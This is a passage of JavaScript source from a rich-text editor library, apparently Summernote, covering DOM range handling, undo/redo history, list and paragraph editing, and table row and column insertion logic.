this.sc.splitText(this.so); boundaryPoints.so = 0; if (isSameContainer) { boundaryPoints.ec = boundaryPoints.sc; boundaryPoints.eo = this.eo - this.so; } } return new WrappedRange(boundaryPoints.sc, boundaryPoints.so, boundaryPoints.ec, boundaryPoints.eo); }; /** * delete contents on range * @return {WrappedRange} */ WrappedRange.prototype.deleteContents = function () { if (this.isCollapsed()) { return this; } var rng = this.splitText(); var nodes = rng.nodes(null, { fullyContains: true }); // find new cursor point var point = dom.prevPointUntil(rng.getStartPoint(), function (point) { return !lists.contains(nodes, point.node); }); var emptyParents = []; $$1.each(nodes, function (idx, node) { // find empty parents var parent = node.parentNode; if (point.node !== parent && dom.nodeLength(parent) === 1) { emptyParents.push(parent); } dom.remove(node, false); }); // remove empty parents $$1.each(emptyParents, function (idx, node) { dom.remove(node, false); }); return new WrappedRange(point.node, point.offset, point.node, point.offset).normalize(); }; /** * makeIsOn: return isOn(pred) function */ WrappedRange.prototype.makeIsOn = function (pred) { return function () { var ancestor = dom.ancestor(this.sc, pred); return !!ancestor && (ancestor === dom.ancestor(this.ec, pred)); }; }; /** * @param {Function} pred * @return {Boolean} */ WrappedRange.prototype.isLeftEdgeOf = function (pred) { if (!dom.isLeftEdgePoint(this.getStartPoint())) { return false; } var node = dom.ancestor(this.sc, pred); return node && dom.isLeftEdgeOf(this.sc, node); }; /** * returns whether range was collapsed or not */ WrappedRange.prototype.isCollapsed = function () { return this.sc === this.ec && this.so === this.eo; }; /** * wrap inline nodes which children of body with paragraph * * @return {WrappedRange} */ WrappedRange.prototype.wrapBodyInlineWithPara = function () { if (dom.isBodyContainer(this.sc) && dom.isEmpty(this.sc)) { this.sc.innerHTML = dom.emptyPara; return new WrappedRange(this.sc.firstChild, 0, this.sc.firstChild, 0); } /** * [workaround] firefox often create range on not visible point. so normalize here. * - firefox: |<p>text</p>| * - chrome: <p>|text|</p> */ var rng = this.normalize(); if (dom.isParaInline(this.sc) || dom.isPara(this.sc)) { return rng; } // find inline top ancestor var topAncestor; if (dom.isInline(rng.sc)) { var ancestors = dom.listAncestor(rng.sc, func.not(dom.isInline)); topAncestor = lists.last(ancestors); if (!dom.isInline(topAncestor)) { topAncestor = ancestors[ancestors.length - 2] || rng.sc.childNodes[rng.so]; } } else { topAncestor = rng.sc.childNodes[rng.so > 0 ? rng.so - 1 : 0]; } // siblings not in paragraph var inlineSiblings = dom.listPrev(topAncestor, dom.isParaInline).reverse(); inlineSiblings = inlineSiblings.concat(dom.listNext(topAncestor.nextSibling, dom.isParaInline)); // wrap with paragraph if (inlineSiblings.length) { var para = dom.wrap(lists.head(inlineSiblings), 'p'); dom.appendChildNodes(para, lists.tail(inlineSiblings)); } return this.normalize(); }; /** * insert node at current cursor * * @param {Node} node * @return {Node} */ WrappedRange.prototype.insertNode = function (node) { var rng = this.wrapBodyInlineWithPara().deleteContents(); var info = dom.splitPoint(rng.getStartPoint(), dom.isInline(node)); if (info.rightNode) { info.rightNode.parentNode.insertBefore(node, info.rightNode); } else { info.container.appendChild(node); } return node; }; /** * insert html at current cursor */ WrappedRange.prototype.pasteHTML = function (markup) { var contentsContainer = $$1('<div></div>').html(markup)[0]; var childNodes = lists.from(contentsContainer.childNodes); var rng = this.wrapBodyInlineWithPara().deleteContents(); return childNodes.reverse().map(function (childNode) { return rng.insertNode(childNode); }).reverse(); }; /** * returns text in range * * @return {String} */ WrappedRange.prototype.toString = function () { var nativeRng = this.nativeRange(); return env.isW3CRangeSupport ? nativeRng.toString() : nativeRng.text; }; /** * returns range for word before cursor * * @param {Boolean} [findAfter] - find after cursor, default: false * @return {WrappedRange} */ WrappedRange.prototype.getWordRange = function (findAfter) { var endPoint = this.getEndPoint(); if (!dom.isCharPoint(endPoint)) { return this; } var startPoint = dom.prevPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); if (findAfter) { endPoint = dom.nextPointUntil(endPoint, function (point) { return !dom.isCharPoint(point); }); } return new WrappedRange(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset); }; /** * create offsetPath bookmark * * @param {Node} editable */ WrappedRange.prototype.bookmark = function (editable) { return { s: { path: dom.makeOffsetPath(editable, this.sc), offset: this.so }, e: { path: dom.makeOffsetPath(editable, this.ec), offset: this.eo } }; }; /** * create offsetPath bookmark base on paragraph * * @param {Node[]} paras */ WrappedRange.prototype.paraBookmark = function (paras) { return { s: { path: lists.tail(dom.makeOffsetPath(lists.head(paras), this.sc)), offset: this.so }, e: { path: lists.tail(dom.makeOffsetPath(lists.last(paras), this.ec)), offset: this.eo } }; }; /** * getClientRects * @return {Rect[]} */ WrappedRange.prototype.getClientRects = function () { var nativeRng = this.nativeRange(); return nativeRng.getClientRects(); }; return WrappedRange; }()); /** * Data structure * * BoundaryPoint: a point of dom tree * * BoundaryPoints: two boundaryPoints corresponding to the start and the end of the Range * * See to http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level-2-Range-Position */ var range = { /** * create Range Object From arguments or Browser Selection * * @param {Node} sc - start container * @param {Number} so - start offset * @param {Node} ec - end container * @param {Number} eo - end offset * @return {WrappedRange} */ create: function (sc, so, ec, eo) { if (arguments.length === 4) { return new WrappedRange(sc, so, ec, eo); } else if (arguments.length === 2) { ec = sc; eo = so; return new WrappedRange(sc, so, ec, eo); } else { var wrappedRange = this.createFromSelection(); if (!wrappedRange && arguments.length === 1) { wrappedRange = this.createFromNode(arguments[0]); return wrappedRange.collapse(dom.emptyPara === arguments[0].innerHTML); } return wrappedRange; } }, createFromSelection: function () { var sc, so, ec, eo; if (env.isW3CRangeSupport) { var selection = document.getSelection(); if (!selection || selection.rangeCount === 0) { return null; } else if (dom.isBody(selection.anchorNode)) { // Firefox: returns entire body as range on initialization. // We won't never need it. return null; } var nativeRng = selection.getRangeAt(0); sc = nativeRng.startContainer; so = nativeRng.startOffset; ec = nativeRng.endContainer; eo = nativeRng.endOffset; } else { var textRange = document.selection.createRange(); var textRangeEnd = textRange.duplicate(); textRangeEnd.collapse(false); var textRangeStart = textRange; textRangeStart.collapse(true); var startPoint = textRangeToPoint(textRangeStart, true); var endPoint = textRangeToPoint(textRangeEnd, false); // same visible point case: range was collapsed. if (dom.isText(startPoint.node) && dom.isLeftEdgePoint(startPoint) && dom.isTextNode(endPoint.node) && dom.isRightEdgePoint(endPoint) && endPoint.node.nextSibling === startPoint.node) { startPoint = endPoint; } sc = startPoint.cont; so = startPoint.offset; ec = endPoint.cont; eo = endPoint.offset; } return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from node * * @param {Node} node * @return {WrappedRange} */ createFromNode: function (node) { var sc = node; var so = 0; var ec = node; var eo = dom.nodeLength(ec); // browsers can't target a picture or void node if (dom.isVoid(sc)) { so = dom.listPrev(sc).length - 1; sc = sc.parentNode; } if (dom.isBR(ec)) { eo = dom.listPrev(ec).length - 1; ec = ec.parentNode; } else if (dom.isVoid(ec)) { eo = dom.listPrev(ec).length; ec = ec.parentNode; } return this.create(sc, so, ec, eo); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeBefore: function (node) { return this.createFromNode(node).collapse(true); }, /** * create WrappedRange from node after position * * @param {Node} node * @return {WrappedRange} */ createFromNodeAfter: function (node) { return this.createFromNode(node).collapse(); }, /** * @method * * create WrappedRange from bookmark * * @param {Node} editable * @param {Object} bookmark * @return {WrappedRange} */ createFromBookmark: function (editable, bookmark) { var sc = dom.fromOffsetPath(editable, bookmark.s.path); var so = bookmark.s.offset; var ec = dom.fromOffsetPath(editable, bookmark.e.path); var eo = bookmark.e.offset; return new WrappedRange(sc, so, ec, eo); }, /** * @method * * create WrappedRange from paraBookmark * * @param {Object} bookmark * @param {Node[]} paras * @return {WrappedRange} */ createFromParaBookmark: function (bookmark, paras) { var so = bookmark.s.offset; var eo = bookmark.e.offset; var sc = dom.fromOffsetPath(lists.head(paras), bookmark.s.path); var ec = dom.fromOffsetPath(lists.last(paras), bookmark.e.path); return new WrappedRange(sc, so, ec, eo); } }; /** * @method readFileAsDataURL * * read contents of file as representing URL * * @param {File} file * @return {Promise} - then: dataUrl */ function readFileAsDataURL(file) { return $$1.Deferred(function (deferred) { $$1.extend(new FileReader(), { onload: function (e) { var dataURL = e.target.result; deferred.resolve(dataURL); }, onerror: function (err) { deferred.reject(err); } }).readAsDataURL(file); }).promise(); } /** * @method createImage * * create `<image>` from url string * * @param {String} url * @return {Promise} - then: $image */ function createImage(url) { return $$1.Deferred(function (deferred) { var $img = $$1('<img>'); $img.one('load', function () { $img.off('error abort'); deferred.resolve($img); }).one('error abort', function () { $img.off('load').detach(); deferred.reject($img); }).css({ display: 'none' }).appendTo(document.body).attr('src', url); }).promise(); } var History = /** @class */ (function () { function History($editable) { this.stack = []; this.stackOffset = -1; this.$editable = $editable; this.editable = $editable[0]; } History.prototype.makeSnapshot = function () { var rng = range.create(this.editable); var emptyBookmark = { s: { path: [], offset: 0 }, e: { path: [], offset: 0 } }; return { contents: this.$editable.html(), bookmark: (rng ? rng.bookmark(this.editable) : emptyBookmark) }; }; History.prototype.applySnapshot = function (snapshot) { if (snapshot.contents !== null) { this.$editable.html(snapshot.contents); } if (snapshot.bookmark !== null) { range.createFromBookmark(this.editable, snapshot.bookmark).select(); } }; /** * @method rewind * Rewinds the history stack back to the first snapshot taken. * Leaves the stack intact, so that "Redo" can still be used. */ History.prototype.rewind = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } // Return to the first available snapshot. this.stackOffset = 0; // Apply that snapshot. this.applySnapshot(this.stack[this.stackOffset]); }; /** * @method reset * Resets the history stack completely; reverting to an empty editor. */ History.prototype.reset = function () { // Clear the stack. this.stack = []; // Restore stackOffset to its original value. this.stackOffset = -1; // Clear the editable area. this.$editable.html(''); // Record our first snapshot (of nothing). this.recordUndo(); }; /** * undo */ History.prototype.undo = function () { // Create snap shot if not yet recorded if (this.$editable.html() !== this.stack[this.stackOffset].contents) { this.recordUndo(); } if (this.stackOffset > 0) { this.stackOffset--; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * redo */ History.prototype.redo = function () { if (this.stack.length - 1 > this.stackOffset) { this.stackOffset++; this.applySnapshot(this.stack[this.stackOffset]); } }; /** * recorded undo */ History.prototype.recordUndo = function () { this.stackOffset++; // Wash out stack after stackOffset if (this.stack.length > this.stackOffset) { this.stack = this.stack.slice(0, this.stackOffset); } // Create new snapshot and push it to the end this.stack.push(this.makeSnapshot()); }; return History; }()); var Style = /** @class */ (function () { function Style() { } /** * @method jQueryCSS * * [workaround] for old jQuery * passing an array of style properties to .css() * will result in an object of property-value pairs. * (compability with version < 1.9) * * @private * @param {jQuery} $obj * @param {Array} propertyNames - An array of one or more CSS properties. * @return {Object} */ Style.prototype.jQueryCSS = function ($obj, propertyNames) { if (env.jqueryVersion < 1.9) { var result_1 = {}; $$1.each(propertyNames, function (idx, propertyName) { result_1[propertyName] = $obj.css(propertyName); }); return result_1; } return $obj.css(propertyNames); }; /** * returns style object from node * * @param {jQuery} $node * @return {Object} */ Style.prototype.fromNode = function ($node) { var properties = ['font-family', 'font-size', 'text-align', 'list-style-type', 'line-height']; var styleInfo = this.jQueryCSS($node, properties) || {}; styleInfo['font-size'] = parseInt(styleInfo['font-size'], 10); return styleInfo; }; /** * paragraph level style * * @param {WrappedRange} rng * @param {Object} styleInfo */ Style.prototype.stylePara = function (rng, styleInfo) { $$1.each(rng.nodes(dom.isPara, { includeAncestor: true }), function (idx, para) { $$1(para).css(styleInfo); }); }; /** * insert and returns styleNodes on range. * * @param {WrappedRange} rng * @param {Object} [options] - options for styleNodes * @param {String} [options.nodeName] - default: `SPAN` * @param {Boolean} [options.expandClosestSibling] - default: `false` * @param {Boolean} [options.onlyPartialContains] - default: `false` * @return {Node[]} */ Style.prototype.styleNodes = function (rng, options) { rng = rng.splitText(); var nodeName = (options && options.nodeName) || 'SPAN'; var expandClosestSibling = !!(options && options.expandClosestSibling); var onlyPartialContains = !!(options && options.onlyPartialContains); if (rng.isCollapsed()) { return [rng.insertNode(dom.create(nodeName))]; } var pred = dom.makePredByNodeName(nodeName); var nodes = rng.nodes(dom.isText, { fullyContains: true }).map(function (text) { return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName); }); if (expandClosestSibling) { if (onlyPartialContains) { var nodesInRange_1 = rng.nodes(); // compose with partial contains predication pred = func.and(pred, function (node) { return lists.contains(nodesInRange_1, node); }); } return nodes.map(function (node) { var siblings = dom.withClosestSiblings(node, pred); var head = lists.head(siblings); var tails = lists.tail(siblings); $$1.each(tails, function (idx, elem) { dom.appendChildNodes(head, elem.childNodes); dom.remove(elem); }); return lists.head(siblings); }); } else { return nodes; } }; /** * get current style on cursor * * @param {WrappedRange} rng * @return {Object} - object contains style properties. */ Style.prototype.current = function (rng) { var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc); var styleInfo = this.fromNode($cont); // document.queryCommandState for toggle state // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)" try { styleInfo = $$1.extend(styleInfo, { 'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal', 'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal', 'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal', 'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal', 'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal', 'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal', 'font-family': document.queryCommandValue('fontname') || styleInfo['font-family'] }); } catch (e) { } // list-style-type to list-style(unordered, ordered) if (!rng.isOnList()) { styleInfo['list-style'] = 'none'; } else { var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square']; var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1; styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered'; } var para = dom.ancestor(rng.sc, dom.isPara); if (para && para.style['line-height']) { styleInfo['line-height'] = para.style.lineHeight; } else { var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10); styleInfo['line-height'] = lineHeight.toFixed(1); } styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor); styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable); styleInfo.range = rng; return styleInfo; }; return Style; }()); var Bullet = /** @class */ (function () { function Bullet() { } /** * toggle ordered list */ Bullet.prototype.insertOrderedList = function (editable) { this.toggleList('OL', editable); }; /** * toggle unordered list */ Bullet.prototype.insertUnorderedList = function (editable) { this.toggleList('UL', editable); }; /** * indent */ Bullet.prototype.indent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.wrapList(paras, head.parentNode.nodeName); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { return (parseInt(val, 10) || 0) + 25; }); }); } }); rng.select(); }; /** * outdent */ Bullet.prototype.outdent = function (editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); if (dom.isLi(head)) { _this.releaseList([paras]); } else { $$1.each(paras, function (idx, para) { $$1(para).css('marginLeft', function (idx, val) { val = (parseInt(val, 10) || 0); return val > 25 ? val - 25 : ''; }); }); } }); rng.select(); }; /** * toggle list * * @param {String} listName - OL or UL */ Bullet.prototype.toggleList = function (listName, editable) { var _this = this; var rng = range.create(editable).wrapBodyInlineWithPara(); var paras = rng.nodes(dom.isPara, { includeAncestor: true }); var bookmark = rng.paraBookmark(paras); var clustereds = lists.clusterBy(paras, func.peq2('parentNode')); // paragraph to list if (lists.find(paras, dom.isPurePara)) { var wrappedParas_1 = []; $$1.each(clustereds, function (idx, paras) { wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName)); }); paras = wrappedParas_1; // list to paragraph or change list style } else { var diffLists = rng.nodes(dom.isList, { includeAncestor: true }).filter(function (listNode) { return !$$1.nodeName(listNode, listName); }); if (diffLists.length) { $$1.each(diffLists, function (idx, listNode) { dom.replace(listNode, listName); }); } else { paras = this.releaseList(clustereds, true); } } range.createFromParaBookmark(bookmark, paras).select(); }; /** * @param {Node[]} paras * @param {String} listName * @return {Node[]} */ Bullet.prototype.wrapList = function (paras, listName) { var head = lists.head(paras); var last = lists.last(paras); var prevList = dom.isList(head.previousSibling) && head.previousSibling; var nextList = dom.isList(last.nextSibling) && last.nextSibling; var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last); // P to LI paras = paras.map(function (para) { return dom.isPurePara(para) ? dom.replace(para, 'LI') : para; }); // append to list(<ul>, <ol>) dom.appendChildNodes(listNode, paras); if (nextList) { dom.appendChildNodes(listNode, lists.from(nextList.childNodes)); dom.remove(nextList); } return paras; }; /** * @method releaseList * * @param {Array[]} clustereds * @param {Boolean} isEscapseToBody * @return {Node[]} */ Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) { var releasedParas = []; $$1.each(clustereds, function (idx, paras) { var head = lists.head(paras); var last = lists.last(paras); var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode; var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, { node: last.parentNode, offset: dom.position(last) + 1 }, { isSkipPaddingBlankHTML: true }) : null; var middleList = dom.splitTree(headList, { node: head.parentNode, offset: dom.position(head) }, { isSkipPaddingBlankHTML: true }); paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi) : lists.from(middleList.childNodes).filter(dom.isLi); // LI to P if (isEscapseToBody || !dom.isList(headList.parentNode)) { paras = paras.map(function (para) { return dom.replace(para, 'P'); }); } $$1.each(lists.from(paras).reverse(), function (idx, para) { dom.insertAfter(para, headList); }); // remove empty lists var rootLists = lists.compact([headList, middleList, lastList]); $$1.each(rootLists, function (idx, rootList) { var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList)); $$1.each(listNodes.reverse(), function (idx, listNode) { if (!dom.nodeLength(listNode)) { dom.remove(listNode, true); } }); }); releasedParas = releasedParas.concat(paras); }); return releasedParas; }; return Bullet; }()); /** * @class editing.Typing * * Typing * */ var Typing = /** @class */ (function () { function Typing() { // a Bullet instance to toggle lists off this.bullet = new Bullet(); } /** * insert tab * * @param {WrappedRange} rng * @param {Number} tabsize */ Typing.prototype.insertTab = function (rng, tabsize) { var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR)); rng = rng.deleteContents(); rng.insertNode(tab, true); rng = range.create(tab, tabsize); rng.select(); }; /** * insert paragraph */ Typing.prototype.insertParagraph = function (editable) { var rng = range.create(editable); // deleteContents on range. rng = rng.deleteContents(); // Wrap range if it needs to be wrapped by paragraph rng = rng.wrapBodyInlineWithPara(); // finding paragraph var splitRoot = dom.ancestor(rng.sc, dom.isPara); var nextPara; // on paragraph: split paragraph if (splitRoot) { // if it is an empty line with li if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) { // toogle UL/OL and escape this.bullet.toggleList(splitRoot.parentNode.nodeName); return; // if it is an empty line with para on blockquote } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) { // escape blockquote dom.insertAfter(splitRoot, splitRoot.parentNode); nextPara = splitRoot; // if new line has content (not a line break) } else { nextPara = dom.splitTree(splitRoot, rng.getStartPoint()); var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor); emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor)); $$1.each(emptyAnchors, function (idx, anchor) { dom.remove(anchor); }); // replace empty heading, pre or custom-made styleTag with P tag if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) { nextPara = dom.replace(nextPara, 'p'); } } // no paragraph: insert empty paragraph } else { var next = rng.sc.childNodes[rng.so]; nextPara = $$1(dom.emptyPara)[0]; if (next) { rng.sc.insertBefore(nextPara, next); } else { rng.sc.appendChild(nextPara); } } range.create(nextPara, 0).normalize().select().scrollIntoView(editable); }; return Typing; }()); /** * @class Create a virtual table to create what actions to do in change. * @param {object} startPoint Cell selected to apply change. * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction * @param {object} domTable Dom element of table to make changes. */ var TableResultAction = function (startPoint, where, action, domTable) { var _startPoint = { 'colPos': 0, 'rowPos': 0 }; var _virtualTable = []; var _actionCellList = []; /// /////////////////////////////////////////// // Private functions /// /////////////////////////////////////////// /** * Set the startPoint of action. */ function setStartPoint() { if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) { console.error('Impossible to identify start Cell point.', startPoint); return; } _startPoint.colPos = startPoint.cellIndex; if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') { console.error('Impossible to identify start Row point.', startPoint); return; } _startPoint.rowPos = startPoint.parentElement.rowIndex; } /** * Define virtual table position info object. * * @param {int} rowIndex Index position in line of virtual table. * @param {int} cellIndex Index position in column of virtual table. * @param {object} baseRow Row affected by this position. * @param {object} baseCell Cell affected by this position. * @param {bool} isSpan Inform if it is an span cell/row. */ function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) { var objPosition = { 'baseRow': baseRow, 'baseCell': baseCell, 'isRowSpan': isRowSpan, 'isColSpan': isColSpan, 'isVirtual': isVirtualCell }; if (!_virtualTable[rowIndex]) { _virtualTable[rowIndex] = []; } _virtualTable[rowIndex][cellIndex] = objPosition; } /** * Create action cell object. * * @param {object} virtualTableCellObj Object of specific position on virtual table. * @param {enum} resultAction Action to be applied in that item. */ function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) { return { 'baseCell': virtualTableCellObj.baseCell, 'action': resultAction, 'virtualTable': { 'rowIndex': virtualRowPosition, 'cellIndex': virtualColPosition } }; } /** * Recover free index of row to append Cell. * * @param {int} rowIndex Index of row to find free space. * @param {int} cellIndex Index of cell to find free space in table. */ function recoverCellIndex(rowIndex, cellIndex) { if (!_virtualTable[rowIndex]) { return cellIndex; } if (!_virtualTable[rowIndex][cellIndex]) { return cellIndex; } var newCellIndex = cellIndex; while (_virtualTable[rowIndex][newCellIndex]) { newCellIndex++; if (!_virtualTable[rowIndex][newCellIndex]) { return newCellIndex; } } } /** * Recover info about row and cell and add information to virtual table. * * @param {object} row Row to recover information. * @param {object} cell Cell to recover information. */ function addCellInfoToVirtual(row, cell) { var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex); var cellHasColspan = (cell.colSpan > 1); var cellHasRowspan = (cell.rowSpan > 1); var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos); setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false); // Add span rows to virtual Table. var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0; if (rowspanNumber > 1) { for (var rp = 1; rp < rowspanNumber; rp++) { var rowspanIndex = row.rowIndex + rp; adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell); setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true); } } // Add span cols to virtual table. var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0; if (colspanNumber > 1) { for (var cp = 1; cp < colspanNumber; cp++) { var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp)); adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell); setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true); } } } /** * Process validation and adjust of start point if needed * * @param {int} rowIndex * @param {int} cellIndex * @param {object} cell * @param {bool} isSelectedCell */ function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) { if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) { _startPoint.colPos++; } } /** * Create virtual table of cells with all cells, including span cells. */ function createVirtualTable() { var rows = domTable.rows; for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) { var cells = rows[rowIndex].cells; for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) { addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]); } } } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getDeleteResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; case TableResultAction.where.Row: if (!cell.isVirtual && cell.isRowSpan) { return TableResultAction.resultAction.AddCell; } else if (cell.isRowSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; } return TableResultAction.resultAction.RemoveCell; } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getAddResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isRowSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; case TableResultAction.where.Row: if (cell.isRowSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isColSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; } return TableResultAction.resultAction.AddCell; } function init() { setStartPoint(); createVirtualTable(); } /// /////////////////////////////////////////// // Public functions /// /////////////////////////////////////////// /** * Recover array os what to do in table. */ this.getActionList = function () { var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1; var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1; var actualPosition = 0; var canContinue = true; while (canContinue) { var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition; var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition; var row = _virtualTable[rowPosition]; if (!row) { canContinue = false; return _actionCellList; } var cell = row[colPosition]; if (!cell) { canContinue = false; return _actionCellList; } // Define action to be applied in this cell var resultAction = TableResultAction.resultAction.Ignore; switch (action) { case TableResultAction.requestAction.Add: resultAction = getAddResultActionToCell(cell); break; case TableResultAction.requestAction.Delete: resultAction = getDeleteResultActionToCell(cell); break; } _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition)); actualPosition++; } return _actionCellList; }; init(); }; /** * * Where action occours enum. */ TableResultAction.where = { 'Row': 0, 'Column': 1 }; /** * * Requested action to apply enum. */ TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 }; /** * * Result action to be executed enum. */ TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 }; /** * * @class editing.Table * * Table * */ var Table = /** @class */ (function () { function Table() { } /** * handle tab key * * @param {WrappedRange} rng * @param {Boolean} isShift */ Table.prototype.tab = function (rng, isShift) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var table = dom.ancestor(cell, dom.isTable); var cells = dom.listDescendant(table, dom.isCell); var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell); if (nextCell) { range.create(nextCell, 0).select(); } }; /** * Add a new row * * @param {WrappedRange} rng * @param {String} position (top/bottom) * @return {Node} */ Table.prototype.addRow = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var currentTr = $$1(cell).closest('tr'); var trAttributes = this.recoverAttributes(currentTr); var html = $$1('<tr' + trAttributes + '></tr>'); var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]); var actions = vTable.getActionList(); for (var idCell = 0; idCell < actions.length; idCell++) { var currentCell = actions[idCell]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: html.append('<td' + tdAttributes + '>' + dom.blank + '</td>'); break; case TableResultAction.resultAction.SumSpanCount: if (position === 'top') { var baseCellTr = currentCell.baseCell.parent; var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex; if (isTopFromRowSpan) { var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html(); html.append(newTd); break; } } var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10); rowspanNumber++; currentCell.baseCell.setAttribute('rowSpan', rowspanNumber); break; } } if (position === 'top') { currentTr.before(html); } else { var cellHasRowspan = (cell.rowSpan > 1); if (cellHasRowspan) { var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2); $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html)); return; } currentTr.after(html); } }; /** * Add a new col * * @param {WrappedRange} rng * @param {String} position (left/right) * @return {Node} */ Table.prototype.addCol = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var rowsGroup = $$1(row).siblings(); rowsGroup.push(row); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { var currentCell = actions[actionIndex]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case 